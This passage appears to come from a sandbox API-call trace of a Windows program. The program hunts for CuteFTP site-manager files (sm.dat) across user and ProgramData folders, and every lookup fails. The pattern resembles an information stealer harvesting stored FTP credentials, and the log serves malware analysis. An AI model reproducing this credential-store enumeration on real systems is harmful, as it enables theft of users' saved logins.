[0068.385] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP") returned 40 [0068.385] lstrlenA (lpString="\\sm.dat") returned 7 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x640dd0 [0068.385] lstrcpyA (in: lpString1=0x640dd0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP" [0068.385] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\sm.dat" [0068.385] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x31 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x640e88 [0068.385] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\sm.dat", lpDst=0x640e88, nSize=0x31 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\sm.dat") returned 0x30 [0068.385] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.385] LocalFree (hMem=0x640e88) returned 0x0 [0068.385] LocalFree (hMem=0x640dd0) returned 0x0 [0068.385] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP") returned 40 [0068.385] lstrlenA (lpString="\\*.*") returned 4 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x640dd0 [0068.385] lstrcpyA (in: lpString1=0x640dd0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP" [0068.385] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\*.*" [0068.385] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.385] LocalFree (hMem=0x640dd0) returned 0x0 [0068.385] LocalFree (hMem=0x640d18) returned 0x0 [0068.385] LocalFree (hMem=0x626a88) returned 0x0 [0068.385] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.385] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.385] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.385] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0068.386] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.386] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0068.386] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned 34 [0068.386] lstrlenA (lpString="\\sm.dat") returned 7 [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x640d18 [0068.386] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0068.386] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat" [0068.386] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2b [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x640dd0 [0068.386] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x640dd0, nSize=0x2b | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x2a [0068.386] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.386] LocalFree (hMem=0x640dd0) returned 0x0 [0068.386] LocalFree (hMem=0x640d18) returned 0x0 [0068.386] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned 34 [0068.386] lstrlenA (lpString="\\*.*") returned 4 [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.386] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0068.386] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*" [0068.386] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.386] LocalFree (hMem=0x629248) returned 0x0 [0068.386] LocalFree (hMem=0x6292f8) returned 0x0 [0068.386] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.386] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0068.386] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.386] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0068.386] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned 38 [0068.386] lstrlenA (lpString="\\sm.dat") returned 7 [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x640d18 [0068.386] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0068.386] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0068.386] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2f [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x640dd0 [0068.386] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x640dd0, nSize=0x2f | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x2e [0068.386] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.386] LocalFree (hMem=0x640dd0) returned 0x0 [0068.386] LocalFree (hMem=0x640d18) returned 0x0 [0068.386] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned 38 [0068.386] lstrlenA (lpString="\\*.*") returned 4 [0068.386] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x640d18 [0068.386] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0068.386] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0068.386] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.387] LocalFree (hMem=0x640d18) returned 0x0 [0068.387] LocalFree (hMem=0x6292f8) returned 0x0 [0068.387] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.387] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0068.387] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.387] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.387] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0068.387] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned 39 [0068.387] lstrlenA (lpString="\\sm.dat") returned 7 [0068.387] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x640d18 [0068.387] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0068.387] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0068.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x30 [0068.387] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x640dd0 [0068.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x640dd0, nSize=0x30 | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x2f [0068.387] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.387] LocalFree (hMem=0x640dd0) returned 0x0 [0068.387] LocalFree (hMem=0x640d18) returned 0x0 [0068.387] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned 39 [0068.387] lstrlenA (lpString="\\*.*") returned 4 [0068.387] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x640d18 [0068.387] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0068.387] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0068.387] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.387] LocalFree (hMem=0x640d18) returned 0x0 [0068.387] LocalFree (hMem=0x6292f8) returned 0x0 [0068.387] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.387] lstrlenA (lpString="\\CuteFTP") returned 8 [0068.387] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x640d18 [0068.387] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.387] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0068.387] lstrlenA (lpString="C:\\ProgramData\\CuteFTP") returned 22 [0068.387] lstrlenA (lpString="\\sm.dat") returned 7 [0068.387] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x640db8 [0068.387] lstrcpyA (in: lpString1=0x640db8, lpString2="C:\\ProgramData\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0068.387] lstrcatA (in: lpString1="C:\\ProgramData\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\CuteFTP\\sm.dat") returned="C:\\ProgramData\\CuteFTP\\sm.dat" [0068.387] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1f [0068.387] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x640e60 [0068.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CuteFTP\\sm.dat", lpDst=0x640e60, nSize=0x1f | out: lpDst="C:\\ProgramData\\CuteFTP\\sm.dat") returned 0x1e [0068.388] CreateFileA (lpFileName="C:\\ProgramData\\CuteFTP\\sm.dat" (normalized: "c:\\programdata\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.388] LocalFree (hMem=0x640e60) returned 0x0 [0068.388] LocalFree (hMem=0x640db8) returned 0x0 [0068.388] lstrlenA (lpString="C:\\ProgramData\\CuteFTP") returned 22 [0068.388] lstrlenA (lpString="\\*.*") returned 4 [0068.388] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x640db8 [0068.388] lstrcpyA (in: lpString1=0x640db8, lpString2="C:\\ProgramData\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0068.388] lstrcatA (in: lpString1="C:\\ProgramData\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\CuteFTP\\*.*") returned="C:\\ProgramData\\CuteFTP\\*.*" [0068.388] FindFirstFileA (in: lpFileName="C:\\ProgramData\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.388] LocalFree (hMem=0x640db8) returned 0x0 [0068.388] LocalFree (hMem=0x640d18) returned 0x0 [0068.388] LocalFree (hMem=0x626a88) returned 0x0 [0068.388] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.388] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.388] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.388] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0068.388] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x640d18 [0068.388] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.388] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0068.388] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned 50 [0068.388] lstrlenA (lpString="\\sm.dat") returned 7 [0068.388] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x640dd8 [0068.388] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0068.388] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat" [0068.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0068.388] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x640ea0 [0068.388] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x640ea0, nSize=0x3b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x3a [0068.388] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.388] LocalFree (hMem=0x640ea0) returned 0x0 [0068.388] LocalFree (hMem=0x640dd8) returned 0x0 [0068.388] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned 50 [0068.388] lstrlenA (lpString="\\*.*") returned 4 [0068.388] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x640dd8 [0068.388] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0068.388] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*" [0068.388] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.388] LocalFree (hMem=0x640dd8) returned 0x0 [0068.388] LocalFree (hMem=0x640d18) returned 0x0 [0068.388] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.388] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0068.388] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x640d18 [0068.388] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.388] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0068.389] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned 54 [0068.389] lstrlenA (lpString="\\sm.dat") returned 7 [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x640dd8 [0068.389] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0068.389] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0068.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x640ea0 [0068.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x640ea0, nSize=0x3f | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x3e [0068.389] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.389] LocalFree (hMem=0x640ea0) returned 0x0 [0068.389] LocalFree (hMem=0x640dd8) returned 0x0 [0068.389] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned 54 [0068.389] lstrlenA (lpString="\\*.*") returned 4 [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x640dd8 [0068.389] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0068.389] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0068.389] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0068.389] LocalFree (hMem=0x640dd8) returned 0x0 [0068.389] LocalFree (hMem=0x640d18) returned 0x0 [0068.389] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.389] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x640d18 [0068.389] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.389] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0068.389] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned 55 [0068.389] lstrlenA (lpString="\\sm.dat") returned 7 [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x640dd8 [0068.389] lstrcpyA (in: lpString1=0x640dd8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0068.389] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0068.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0068.389] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x640ea0 [0068.389] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x640ea0, nSize=0x40 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x3f [0068.389] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.389] LocalFree (hMem=0x640ea0) returned 0x0 [0068.389] LocalFree (hMem=0x640dd8) returned 0x0 [0068.389] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\GlobalSCAPE\\CuteFTP 